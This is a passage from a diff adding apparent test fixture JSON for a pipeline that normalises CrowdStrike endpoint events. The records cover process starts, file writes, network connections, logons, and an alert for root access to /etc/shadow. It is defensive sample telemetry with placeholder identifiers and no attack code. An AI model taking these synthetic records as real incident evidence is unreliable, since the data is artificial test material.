+                "serial_number": "ffffffff4f1444bab96568879cb43556",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "259090530891",
+                "thread": {
+                    "id": 16409623709004
+                }
+            },
+            "related": {
+                "hash": [
+                    "2784638081"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:02.247Z",
+            "crowdstrike": {
+                "ConfigStateHash": "4288861242",
+                "ContextProcessId": "321385820045701199",
+                "ContextTimeStamp": "2020-11-08T17:05:01.645Z",
+                "Entitlements": "15",
+                "UnixMode": "32768",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b70d-027f9ced2001",
+                "name": "CriticalFileAccessedLinV1"
+            },
+            "device": {
+                "id": "ffffffff32ba43a483e76c6f0a4aa26f"
+            },
+            "event": {
+                "action": "CriticalFileAccessed",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:05:02.247Z",
+                "id": "ffffffff-1111-11eb-b70d-027f9ced2001|ffffffff32ba43a483e76c6f0a4aa26f|ffffffff30a3407dae27d0503611022d",
+                "kind": "alert",
+                "original": "{\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"ContextProcessId\":\"321385820045701199\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.645\",\"Entitlements\":\"15\",\"GID\":\"0\",\"TargetFileName\":\"/etc/shadow\",\"UID\":\"0\",\"UnixMode\":\"32768\",\"aid\":\"ffffffff32ba43a483e76c6f0a4aa26f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"CriticalFileAccessed\",\"id\":\"ffffffff-1111-11eb-b70d-027f9ced2001\",\"name\":\"CriticalFileAccessedLinV1\",\"timestamp\":\"1604855102247\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "/etc",
+                "name": "shadow",
+                "path": "/etc/shadow",
+                "type": "file"
+            },
+            "group": {
+                "id": "0"
+            },
+            "host": {
+                "id": "ffffffff32ba43a483e76c6f0a4aa26f",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "CriticalFileAccessed",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff32ba43a483e76c6f0a4aa26f",
+                "version": "1007.8.0009806.1"
+            },
+            "process": {
+                "entity_id": "321385820045701199",
+                "group": {
+                    "id": "0"
+                },
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "4288861242"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:09.180Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3344040805",
+                "Entitlements": "15",
+                "MD5HashData": "d51cef1b288e2032aee9805deff04bfd",
+                "MachOSubType": "1",
+                "RGID": "0",
+                "RUID": "0",
+                "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
+                "SVGID": "0",
+                "SVUID": "0",
+                "SourceProcessId": "311776004953765502",
+                "SourceThreadId": "0",
+                "Tags": [
+                    "27",
+                    "12094627905582",
+                    "12094627906234"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-bc03-065126dd0691",
+                "name": "ProcessRollup2MacV3"
+            },
+            "device": {
+                "id": "ffffffff1aa0482a5ea94f64e08e7b15"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:05:09.180Z",
+                "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"CommandLine\":\"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/usr/bin/plutil\",\"MD5HashData\":\"d51cef1b288e2032aee9805deff04bfd\",\"MachOSubType\":\"1\",\"ParentProcessId\":\"311774817965726568\",\"ProcessEndTime\":\"\",\"ProcessGroupId\":\"311774817965726568\",\"ProcessStartTime\":\"1604855111.240\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"10692\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SourceProcessId\":\"311776004953765502\",\"SourceThreadId\":\"0\",\"Tags\":\"27, 12094627905582, 12094627906234\",\"TargetProcessId\":\"311776004953765502\",\"UID\":\"0\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"ProcessRollup2MacV3\",\"timestamp\":\"1604855109180\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff1aa0482a5ea94f64e08e7b15",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15",
+                "version": "1007.4.0009304.1"
+            },
+            "process": {
+                "args": [
+                    "/usr/bin/plutil",
+                    "-convert",
+                    "xml1",
+                    "-o",
+                    "/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist"
+                ],
+                "args_count": 6,
+                "command_line": "/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist",
+                "entity_id": "311776004953765502",
+                "executable": "/usr/bin/plutil",
+                "hash": {
+                    "md5": "d51cef1b288e2032aee9805deff04bfd",
+                    "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3"
+                },
+                "name": "plutil",
+                "parent": {
+                    "entity_id": "311774817965726568"
+                },
+                "pgid": 311774817965726568,
+                "pid": 10692,
+                "real_user": {
+                    "id": "0"
+                },
+                "start": "2020-11-08T17:05:11.240Z"
+            },
+            "related": {
+                "hash": [
+                    "d51cef1b288e2032aee9805deff04bfd",
+                    "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
+                    "3344040805"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:14.427Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3899738370",
+                "ContextProcessId": "1546527409909",
+                "ContextTimeStamp": "2020-11-08T17:05:14.133Z",
+                "DesiredAccess": "1180054",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileAttributes": "0",
+                "FileObject": "18446655033844205120",
+                "Information": "2",
+                "IrpFlags": "2180",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "88080484",
+                "ShareAccess": "1",
+                "Status": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-80b5-06e11a66e03d",
+                "name": "NewScriptWrittenV7"
+            },
+            "device": {
+                "id": "ffffffff8f1e4b77b4dae5debaa1c8bc"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:05:14.427Z",
+                "id": "ffffffff-1111-11eb-80b5-06e11a66e03d|ffffffff8f1e4b77b4dae5debaa1c8bc|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3899738370\",\"ContextProcessId\":\"1546527409909\",\"ContextThreadId\":\"4711690090889\",\"ContextTimeStamp\":\"1604855114.133\",\"DesiredAccess\":\"1180054\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00\",\"FileObject\":\"18446655033844205120\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"88080484\",\"ShareAccess\":\"1\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\__PSScriptPolicyTest_dvkjnbka.apn.ps1\",\"aid\":\"ffffffff8f1e4b77b4dae5debaa1c8bc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewScriptWritten\",\"id\":\"ffffffff-1111-11eb-80b5-06e11a66e03d\",\"name\":\"NewScriptWrittenV7\",\"timestamp\":\"1604855114427\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp",
+                "extension": "ps1",
+                "inode": "501ee2c32e53fb43b07f419f3236fb45c29e000000002c00",
+                "name": "__PSScriptPolicyTest_dvkjnbka.apn.ps1",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff8f1e4b77b4dae5debaa1c8bc",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NewScriptWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff8f1e4b77b4dae5debaa1c8bc",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1546527409909",
+                "thread": {
+                    "id": 4711690090889
+                }
+            },
+            "related": {
+                "hash": [
+                    "3899738370"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:16.502Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1306766522",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "321275232072440993",
+                "ContextTimeStamp": "2020-11-08T17:05:16.421Z",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "0.0.0.0"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-aca9-02683aed2a0d",
+                "name": "NetworkConnectIP4MacV5"
+            },
+            "destination": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffffd4094240a6b1d12aaf304f4f"
+            },
+            "event": {
+                "action": "NetworkConnectIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:05:16.502Z",
+                "id": "ffffffff-1111-11eb-aca9-02683aed2a0d|ffffffffd4094240a6b1d12aaf304f4f|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0012205.1\",\"ConfigStateHash\":\"1306766522\",\"ConnectionDirection\":\"1\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321275232072440993\",\"ContextTimeStamp\":\"1604855116.421\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"0.0.0.0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"ffffffffd4094240a6b1d12aaf304f4f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-aca9-02683aed2a0d\",\"name\":\"NetworkConnectIP4MacV5\",\"timestamp\":\"1604855116502\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffffd4094240a6b1d12aaf304f4f",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkConnectIP4",
+            "network": {
+                "direction": "inbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffd4094240a6b1d12aaf304f4f",
+                "version": "1007.4.0012205.1"
+            },
+            "process": {
+                "entity_id": "321275232072440993"
+            },
+            "related": {
+                "hash": [
+                    "1306766522"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "0.0.0.0",
+                    "67.43.156.14"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 443
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:16.942Z",
+            "crowdstrike": {
+                "ConfigStateHash": "2602391615",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "223442259384",
+                "ContextTimeStamp": "2020-11-08T17:05:16.849Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "67.43.156.14"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b0eb-06be7616c211",
+                "name": "NetworkConnectIP4V5"
+            },
+            "destination": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 443
+            },
+            "device": {
+                "id": "fffffffff000426eb99afaa2ccdcbc17"
+            },
+            "event": {
+                "action": "NetworkConnectIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:05:16.942Z",
+                "id": "ffffffff-1111-11eb-b0eb-06be7616c211|fffffffff000426eb99afaa2ccdcbc17|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2602391615\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"223442259384\",\"ContextTimeStamp\":\"1604855116.849\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"67.43.156.14\",\"LocalPort\":\"53961\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"67.43.156.14\",\"RemotePort\":\"443\",\"aid\":\"fffffffff000426eb99afaa2ccdcbc17\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP4\",\"id\":\"ffffffff-1111-11eb-b0eb-06be7616c211\",\"name\":\"NetworkConnectIP4V5\",\"timestamp\":\"1604855116942\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "fffffffff000426eb99afaa2ccdcbc17",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkConnectIP4",
+            "network": {
+                "community_id": "1:gnQhhn0wJhJU+wrHlczmnm7THKs=",
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "fffffffff000426eb99afaa2ccdcbc17",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "223442259384"
+            },
+            "related": {
+                "hash": [
+                    "2602391615"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "67.43.156.14"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 53961
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:21.077Z",
+            "crowdstrike": {
+                "AuthenticationId": "6580764513",
+                "AuthenticationPackage": "Negotiate",
+                "ConfigStateHash": "3011122681",
+                "ContextProcessId": "816054990879",
+                "ContextTimeStamp": "2020-11-08T17:04:51.781Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LogonTime": "2020-11-08T17:04:51.781Z",
+                "LogonType": "9",
+                "RemoteAccount": "1",
+                "UserFlags": "0",
+                "UserLogonFlags": "12",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d",
+                "name": "UserLogonV8"
+            },
+            "device": {
+                "id": "ffffffff8d2e4b4f9b21b40633a8d579"
+            },
+            "event": {
+                "action": "UserLogon",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-11-08T17:05:21.077Z",
+                "id": "ffffffff-1111-11eb-a8cf-0649c95cfa1d|ffffffff8d2e4b4f9b21b40633a8d579|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"6580764513\",\"AuthenticationPackage\":\"Negotiate\",\"ClientComputerName\":\"-\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"816054990879\",\"ContextThreadId\":\"52913017705957\",\"ContextTimeStamp\":\"1604855091.781\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"NT AUTHORITY\",\"LogonServer\":\"\",\"LogonTime\":\"1604855091.781\",\"LogonType\":\"9\",\"PasswordLastSet\":\"\",\"RemoteAccount\":\"1\",\"UserFlags\":\"0\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"12\",\"UserName\":\"SYSTEM\",\"UserPrincipal\":\"user4@dom2\",\"UserSid\":\"S-1-5-18\",\"aid\":\"ffffffff8d2e4b4f9b21b40633a8d579\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogon\",\"id\":\"ffffffff-1111-11eb-a8cf-0649c95cfa1d\",\"name\":\"UserLogonV8\",\"timestamp\":\"1604855121077\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "domain": "NT AUTHORITY",
+                "id": "ffffffff8d2e4b4f9b21b40633a8d579",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogon",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff8d2e4b4f9b21b40633a8d579",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "816054990879",
+                "thread": {
+                    "id": 52913017705957
+                }
+            },
+            "related": {
+                "hash": [
+                    "3011122681"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "SYSTEM",
+                    "user4",
+                    "user4@dom2",
+                    "S-1-5-18"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom2",
+                "email": "user4@dom2",
+                "full_name": "user4",
+                "id": "S-1-5-18",
+                "name": "SYSTEM"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:21.109Z",
+            "crowdstrike": {
+                "AuthenticationId": "2007206396",
+                "ConfigStateHash": "3011122681",
+                "ContextProcessId": "4415814628770",
+                "ContextTimeStamp": "2020-11-08T17:05:20.785Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileEcpBitmask": "0",
+                "FileObject": "18446708893089967904",
+                "IrpFlags": "1028",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "IsTransactedFile": "0",
+                "MajorFunction": "18",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "SHA256HashData": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182",
+                "TokenType": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b091-06f6cca0a049",
+                "name": "PeFileWrittenV14"
+            },
+            "device": {
+                "id": "ffffffff2c47454cba360bc404a607bb"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:05:21.109Z",
+                "id": "ffffffff-1111-11eb-b091-06f6cca0a049|ffffffff2c47454cba360bc404a607bb|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"2007206396\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"4415814628770\",\"ContextThreadId\":\"41392001729898\",\"ContextTimeStamp\":\"1604855120.785\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1000\\u0026DEV_0054\\u0026SUBSYS_197615AD\\u0026REV_01\\\\4\\u00261f16fef7\\u00260\\u002600A8\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c\",\"FileObject\":\"18446708893089967904\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"IsTransactedFile\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"SHA256HashData\":\"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182\",\"Size\":\"6144\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\Users\\\\user10\\\\AppData\\\\Local\\\\Temp\\\\ec1ijefl.dll\",\"TokenType\":\"1\",\"aid\":\"ffffffff2c47454cba360bc404a607bb\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PeFileWritten\",\"id\":\"ffffffff-1111-11eb-b091-06f6cca0a049\",\"name\":\"PeFileWrittenV14\",\"timestamp\":\"1604855121109\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "PCI\\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\\4&1f16fef7&0&00A8",
+                "directory": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp",
+                "extension": "dll",
+                "hash": {
+                    "sha256": "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182"
+                },
+                "inode": "b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c",
+                "name": "ec1ijefl.dll",
+                "path": "\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll",
+                "size": 6144,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff2c47454cba360bc404a607bb",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PeFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff2c47454cba360bc404a607bb",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "4415814628770",
+                "thread": {
+                    "id": 41392001729898
+                }
+            },
+            "related": {
+                "hash": [
+                    "d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182",
+                    "3011122681"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:34.461Z",
+            "crowdstrike": {
+                "AuthenticationId": "317005428",
+                "AuthenticationPackage": "Negotiate",
+                "ConfigStateHash": "3950066843",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LogoffTime": "2020-11-08T17:05:32.756Z",
+                "LogonServer": "srv2",
+                "LogonTime": "2020-11-08T17:05:31.666Z",
+                "LogonType": "7",
+                "PasswordLastSet": "1598119332.510",
+                "RemoteAccount": "1",
+                "UserFlags": "32",
+                "UserLogoffType": "3",
+                "UserLogonFlags": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8913-0287fd11c79b",
+                "name": "UserLogoffV3"
+            },
+            "device": {
+                "id": "ffffffffe0104823bd3de859d5bc8bc7"
+            },
+            "event": {
+                "action": "UserLogoff",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-11-08T17:05:34.461Z",
+                "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"timestamp\":\"1604855134461\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "domain": "dom1",
+                "id": "ffffffffe0104823bd3de859d5bc8bc7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogoff",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
